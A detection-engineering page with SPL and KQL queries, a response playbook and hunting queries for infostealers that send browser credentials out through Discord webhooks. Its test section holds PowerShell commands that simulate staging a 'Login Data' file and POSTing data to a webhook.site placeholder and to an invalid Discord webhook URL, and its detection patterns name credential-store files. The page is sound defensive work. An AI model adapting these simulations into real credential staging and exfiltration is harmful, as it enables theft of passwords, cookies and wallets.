Detect Infostealer Credential Exfiltration via Discord Webhook in Splunk
Commodity infostealer malware (RedLine, Raccoon, Vidar, Lumma) and remote access trojans (AsyncRAT) overwhelmingly favor Discord webhooks as a C2-less exfiltration drop for stolen browser credential stores, cookies, cryptocurrency wallet files, and Discord/Telegram session tokens. The webhook URL is hardcoded into the compiled binary, requires no attacker-side listener infrastructure, and the resulting HTTPS traffic to discord.com blends into normal collaboration-tool egress that most enterprises never restrict. Because Discord is rarely blocked and the destination is a legitimate, widely-trusted SaaS domain, this vector routinely bypasses proxy category blocking and simple domain-reputation controls. The most reliable detection opportunity is not the network connection alone (Discord traffic is common) but the temporal pairing of a locked browser credential database being staged/copied by a non-browser process immediately before an outbound POST to a Discord webhook API path from that same process.
MITRE ATT&CK
- Tactic
- Exfiltration
SPL Detection Query
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
(
(EventCode=11
(TargetFilename="*\\Login Data" OR TargetFilename="*\\Login Data For Account"
OR TargetFilename="*\\Cookies" OR TargetFilename="*\\Local State"
OR TargetFilename="*\\Web Data" OR TargetFilename="*wallet.dat" OR TargetFilename="*keystore.json")
NOT TargetFilename="*\\User Data\\*"
(TargetFilename="*\\Temp\\*" OR TargetFilename="*\\AppData\\Roaming\\*" OR TargetFilename="*\\ProgramData\\*")
NOT (Image="*\\chrome.exe" OR Image="*\\msedge.exe" OR Image="*\\brave.exe" OR Image="*\\firefox.exe")
)
OR
(EventCode=3
(DestinationHostname="discord.com" OR DestinationHostname="discordapp.com")
NOT (Image="*\\discord.exe" OR Image="*\\Slack.exe" OR Image="*\\Teams.exe")
)
OR
(EventCode=1
CommandLine="*discord*com/api/webhooks/*"
)
)
| eval SignalType=case(
EventCode=11, "StagedCredentialCopy",
EventCode=3, "DiscordNetworkConnection",
EventCode=1, "WebhookURLInCommandLine",
true(), "Other"
)
| eval RiskScore=case(SignalType="StagedCredentialCopy", 80, SignalType="WebhookURLInCommandLine", 85, true(), 55)
| stats values(SignalType) as Signals, max(RiskScore) as MaxRisk, values(TargetFilename) as StagedFiles,
values(CommandLine) as CommandLines, values(DestinationHostname) as Destinations,
earliest(_time) as FirstSeen, latest(_time) as LastSeen
by host, User, Image
| eval MultiSignal=if(mvcount(Signals) > 1, 1, 0)
| sort - MaxRisk MultiSignalDetects Discord-webhook infostealer exfiltration via three Sysmon-derived signals: (1) Event ID 11 file creation of a browser credential-store filename outside its live profile directory by a non-browser process, matching the classic stealer file-staging behavior; (2) Event ID 3 network connections to discord.com/discordapp.com from processes other than the Discord client, Slack, or Teams; (3) Event ID 1 process command lines that directly embed a Discord webhook API path, covering script-based loaders. Sysmon network events do not capture the HTTP path, so the webhook-path match is scoped to command-line telemetry; hostname-only matches are lower confidence and flagged via MultiSignal when paired with a staged-copy event on the same host/process.
Data Sources
Required Sourcetypes
False Positives & Tuning
- Legitimate Discord bot frameworks (discord.py, discord.js apps) run as scheduled services that post to webhooks as part of their normal function
- IT or DevOps automation scripts posting deployment/status notifications to a Discord webhook
- Endpoint backup or migration agents copying browser profile data as part of an approved user-profile migration workflow
- Security analysts running authorized triage tooling that stages copies of browser artifact files for forensic review
Other platforms for THREAT-DiscordWebhook-InfostealerExfil
Testing Methodology
Validate this detection against 2 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate Staged Credential Copy Followed by Discord Webhook POST
Expected signal: Sysmon Event ID 11: File Create for '...\df00tech-staged\Login Data' outside any '\User Data\' path. Sysmon Event ID 1: Process Create for powershell.exe with CommandLine containing 'Invoke-RestMethod' and 'webhook.site'. Sysmon Event ID 3: Network Connection to webhook.site on port 443.
- Test 2Command-Line Discord Webhook Invocation (Script-Based Exfil Simulation)
Expected signal: Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'discord.com/api/webhooks/'. Sysmon Event ID 3: Network Connection attempted to discord.com:443 (fails with 401 due to invalid token, but telemetry is still generated).
References (6)
- https://attack.mitre.org/techniques/T1567/004/
- https://www.recordedfuture.com/research
- https://blog.talosintelligence.com/collab-app-abuse/
- https://www.cyberark.com/resources/threat-research-blog/the-not-so-secret-war-on-discord
- https://research.checkpoint.com/2023/discord-and-slack-malware-a-growing-threat/
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1567.004/T1567.004.md
Response Playbook
Triage
- Identify the initiating process image and full path — is it a known, digitally-signed application, or an unsigned/randomly-named binary in %TEMP%, %APPDATA%, or %ProgramData%? Stealer payloads are almost always unsigned and dropped by a loader or phishing attachment.
- Check whether the same process hash both staged a copy of a browser credential file (Login Data, Cookies, Web Data, Local State, wallet.dat) and subsequently connected to discord.com — this correlated pairing is the highest-confidence indicator and should be treated as confirmed credential theft pending scope determination.
- Extract the destination webhook path from network or proxy logs if available (discord.com/api/webhooks/<id>/<token>) — this token, if recoverable, can be reported to Discord Trust & Safety to disable the drop and potentially identify the operator's other webhook channels.
- Enumerate which credential stores were targeted: browser Login Data/Cookies (all saved website passwords and session cookies), cryptocurrency wallet files (wallet.dat, Exodus/Electrum config), and Discord's own Local Storage leveldb (session tokens enabling account takeover without a password).
- Determine the initial infection vector: check parent process lineage for a cracked-software installer, fake CAPTCHA/ClickFix PowerShell paste, malicious npm/PyPI package, or phishing attachment — commodity stealers are typically delivered via one of these channels rather than targeted spear-phishing.
- Check for co-located clipboard hijacking or crypto-clipper behavior — RedLine, Raccoon, and Vidar are frequently bundled with clipper modules that swap copied cryptocurrency wallet addresses.
Containment
- Isolate the affected endpoint via EDR network isolation immediately — stealer exfiltration completes within seconds of execution, so isolation is primarily to prevent secondary payload delivery or lateral movement, not to stop the already-completed theft.
- Force a password reset and session/token revocation for every account with saved credentials in the affected browser profile — assume all Login Data entries and session cookies present at time of infection are compromised.
- Revoke and rotate the user's Discord account token if Discord was installed on the host — stealers specifically target Discord's Local Storage leveldb files to hijack authenticated sessions without needing MFA.
- If cryptocurrency wallet files were staged, treat any wallet with funds as compromised — move funds to a new wallet generated on a clean device immediately.
- Report the harvested webhook URL/token to Discord (via their developer abuse reporting channel) to have the webhook disabled, cutting off the attacker's collection point for this and any other infected hosts using the same drop.
- Remove the stealer binary and any persistence mechanism (scheduled task, run key, startup folder entry) identified in the process ancestry.
Evidence Collection
- Process creation events for the stealer binary: full path, parent process, command line, and SHA256 hash for threat intel correlation and multi-host hunting
- DeviceFileEvents/Sysmon Event ID 11 for the staged credential-store file copy: timestamp, destination path, and originating process — establishes exactly which credential stores were accessed
- DeviceNetworkEvents/Sysmon Event ID 3 network connection records to discord.com: timestamp, bytes sent, and destination — establishes the exfiltration window
- Browser profile inventory: which browsers and profiles existed on the host (Chrome, Edge, Brave, Firefox, Opera) determines the full blast radius of credential exposure
- Discord Local Storage leveldb files (%AppData%\discord\Local Storage\leveldb) — if accessed, indicates session token theft in addition to password theft
- Any dropped configuration or log file left by the stealer (some variants write a local staging log before transmission) — may reveal the full list of exfiltrated data categories
- Delivery artifact: the initial dropper, phishing email, or malicious installer used to deploy the stealer — critical for identifying whether this is an isolated infection or part of a broader campaign
Escalation Criteria
- !Confirmed correlated signal (staged credential copy + Discord webhook POST from the same process) on any host with access to privileged accounts, financial systems, or source code repositories
- !Cryptocurrency wallet files or wallet browser-extension storage confirmed present on the infected host
- !Discord Local Storage session token theft confirmed — enables account takeover bypassing password and MFA entirely until the token is revoked
- !Multiple hosts in the environment show the same stealer binary hash or the same webhook destination — indicates a fleet-wide infection vector (e.g., a compromised software update or supply-chain package) rather than an isolated user error
- !Evidence the stolen credentials have already been used from an unfamiliar geography or ASN in identity provider sign-in logs — treat as an active account compromise, not just a theft event
Investigation Guide
Related Techniques
Forensic Artifacts
- >
File System: staged copies of Login Data, Cookies, Web Data, Local State outside the browser's User Data folder — typically in %TEMP%, %AppData%\Roaming\<random>, or %ProgramData%\<random> - >
File System: %AppData%\discord\Local Storage\leveldb — Discord session token storage frequently targeted for account takeover - >
File System: cryptocurrency wallet application data directories (Exodus, Electrum, Ledger Live config folders) and browser wallet extension local storage (MetaMask, Phantom) - >
Registry: Run keys, scheduled tasks, or startup folder entries used for the stealer's initial execution or any secondary persistence - >
Network: Sysmon Event ID 3 / DeviceNetworkEvents connections to discord.com or discordapp.com from the stealer process, and any earlier connections to the delivery/staging infrastructure - >
Process: Sysmon Event ID 1 / DeviceProcessEvents showing the full process ancestry from initial delivery (installer, script, loader) through to the stealer binary execution - >
Prefetch: execution timestamp and frequency evidence for the stealer binary and any loader components - >
Browser artifacts: browsing history around the infection time may reveal the cracked-software site, fake CAPTCHA page, or malicious download that delivered the stealer
Tuning Guidance
The dominant source of noise is legitimate Discord bot and automation traffic — build an allowlist of approved bot service accounts and their associated process hashes/paths rather than suppressing discord.com wholesale, since that would blind you to the exact technique this detection targets. For the staged-credential-copy signal, exclude known password manager sync tools and any authorized forensic/migration tooling by process path or code-signing certificate rather than by filename alone, since stealers can rename their binary to mimic legitimate tools. Because Sysmon Event ID 3 does not capture HTTP path information, the network-only Sysmon signal is intentionally coarse (hostname-level); prioritize triage of the command-line and MDE RemoteUrl signals, which carry the full webhook path and materially higher fidelity. If SSL inspection is available at the proxy, enable it for discord.com specifically to recover the webhook path server-side and corroborate endpoint telemetry. Consider blocking discord.com outbound at the proxy for server/workstation asset classes that have no legitimate business use for Discord — this eliminates the technique's cover entirely for those populations.
Hunting Queries
Hunt across the fleet for any process (excluding the legitimate Discord client and browsers) whose command line or telemetry reveals a Discord webhook API path. A single binary hash appearing on multiple hosts is strong evidence of a stealer campaign rather than an isolated user mistake, and the process hash can be submitted to threat intel platforms for family attribution.
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl matches regex @"discord(app)?\.com/api/webhooks/\d{17,20}/"
| where InitiatingProcessFileName !in~ ("discord.exe", "chrome.exe", "msedge.exe")
| summarize Hits=count(), UniqueDevices=dcount(DeviceName), FirstSeen=min(Timestamp), LastSeen=max(Timestamp),
Devices=make_set(DeviceName, 20)
by InitiatingProcessFileName, InitiatingProcessSHA256
| sort by UniqueDevices descindex=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
CommandLine="*discord*com/api/webhooks/*"
| stats count as Hits, dc(host) as UniqueHosts, values(host) as Hosts, earliest(_time) as FirstSeen, latest(_time) as LastSeen
by Image, Hash
| sort - UniqueHostsHunt for processes staging two or more distinct browser credential-store filenames outside their live profile directory within a short window — a single legitimate reason for this pattern is rare, while a stealer harvesting multiple credential categories in one run is common. Use this to find infections that have not yet reached the network-exfiltration stage.
DeviceFileEvents
| where Timestamp > ago(14d)
| where ActionType == "FileCreated"
| where FileName in~ ("Login Data", "Cookies", "Web Data", "Local State", "wallet.dat")
| where FolderPath !has "User Data" and FolderPath !has "Mozilla"
| summarize StagingCount=count(), Files=make_set(FileName), FirstSeen=min(Timestamp), LastSeen=max(Timestamp)
by DeviceName, InitiatingProcessFileName, InitiatingProcessSHA256
| where StagingCount >= 2
| sort by StagingCount descindex=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11
(TargetFilename="*\\Login Data" OR TargetFilename="*\\Cookies" OR TargetFilename="*\\Web Data" OR TargetFilename="*\\Local State" OR TargetFilename="*wallet.dat")
NOT TargetFilename="*\\User Data\\*"
| stats count as StagingCount, values(TargetFilename) as Files, earliest(_time) as FirstSeen, latest(_time) as LastSeen
by host, Image
| where StagingCount >= 2
| sort - StagingCountAtomic Red Team Tests
Simulates the core RedLine/Raccoon/Vidar behavior pattern: a non-browser process copies a file named identically to a Chromium credential store (Login Data) to a temp directory outside the browser profile, then POSTs a harmless test payload to a safe webhook inspection endpoint. Uses a placeholder URL and a dummy file — no real credentials are read or transmitted.
Command
echo dummy-sqlite-header-for-atomic-test > %TEMP%\df00tech-staged\Login Data 2>nul & mkdir %TEMP%\df00tech-staged 2>nul & echo dummy-sqlite-header-for-atomic-test > "%TEMP%\df00tech-staged\Login Data"
powershell.exe -NoProfile -Command "Invoke-RestMethod -Uri 'https://webhook.site/00000000-0000-0000-0000-000000000000' -Method POST -ContentType 'application/json' -Body (@{content='atomic-test harmless payload'} | ConvertTo-Json)"Cleanup
rd /s /q %TEMP%\df00tech-stagedExpected Telemetry
Sysmon Event ID 11: File Create for '...\df00tech-staged\Login Data' outside any '\User Data\' path. Sysmon Event ID 1: Process Create for powershell.exe with CommandLine containing 'Invoke-RestMethod' and 'webhook.site'. Sysmon Event ID 3: Network Connection to webhook.site on port 443.
Expected Detection
KQL StagedCredentialCopy signal fires on the 'Login Data' file creation outside 'User Data'. Note: this atomic test targets webhook.site rather than discord.com to avoid generating real Discord traffic — substitute a test Discord webhook URL to fully validate the DiscordWebhookPost signal and the correlated join.
Simulates a script-based loader posting collected data directly to a Discord webhook URL embedded in the command line — a pattern seen in lower-tier stealer variants and malicious npm/PyPI packages rather than compiled binaries with hardcoded URLs. Uses an invalid webhook ID so the POST fails safely.
Command
powershell.exe -NoProfile -Command "Invoke-RestMethod -Uri 'https://discord.com/api/webhooks/000000000000000000/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' -Method POST -ContentType 'application/json' -Body '{\"content\":\"atomic-test harmless payload\"}' -ErrorAction SilentlyContinue"Expected Telemetry
Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'discord.com/api/webhooks/'. Sysmon Event ID 3: Network Connection attempted to discord.com:443 (fails with 401 due to invalid token, but telemetry is still generated).
Expected Detection
KQL WebhookURLInCommandLine / StandaloneDiscordWebhookPost signal fires on the RemoteUrl match. SPL EventCode=1 fires on CommandLine matching 'discord*com/api/webhooks/'.
Related Detections
Tactic Hub
Detection Variants (1)
Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.